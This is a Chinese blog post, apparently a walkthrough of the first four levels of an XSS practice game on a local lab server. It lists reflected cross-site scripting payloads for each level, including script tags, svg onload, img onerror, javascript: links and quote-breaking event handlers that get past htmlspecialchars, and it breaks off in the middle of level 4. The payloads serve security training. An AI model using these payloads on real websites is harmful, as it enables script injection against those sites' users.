XSS通关小游戏以及我的挑战思路分享(XSS绕过代码)

本文详细介绍了XSS通关游戏的各个关卡,包括level1到level20的解决思路和payload。从简单的URL修改到复杂的编码与事件注入,揭示了XSS攻击的各种常见手法和防御措施的绕过技巧。通过本文,读者可以深入理解XSS漏洞的本质和防范策略。
摘要由CSDN通过智能技术生成

level1

这一关是一个很简单的测试,直接在url上改一下标签就行了。

payload如下:

127.0.0.1/XSS/level1.php?name=<script>alert(1)</script>

level2

这一关是一个比较典型的搜索框XSS,只需要构造一下闭合语句,将input语句<input name=keyword value="123">闭合。

这个可以有很多方法,但主要的还是闭合 "> 。

payload如下:

"><script>alert(1)<script>
"><svg/onload=alert(1)>
"><img src=1 onerror="alert(1)"
"><a href="javascript:alert(1)">123</a>

level3

这一关注入<>和',发现都被反射出来了,再看一下源代码,第三关的两个地方都加了htmlspecialchars函数处理,但是htmlspecialchars默认配置是不过滤单引号的。只有设置了:quotestyle,才可以。那么就用单引号来测试

payload如下

'onclick='alert(1)
'onmouseover='alert(1)'

构造闭合语句:<input name=keyword value='".htmlspecialchars('onclick='alert(1))."'>

level4

这一关同上一关很是相似,但查看网页源码时会发现,这里的input是双引号的

<input name=keyword  value="try harder!">

所以输入的语句也需要改一下,payload如下:

"onclick="alert(1)
"onmouseover='alert(1)'

构造闭合语句:<input name=keyword value="'.htmlspecialchars("onclick="alert(1)).'&

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值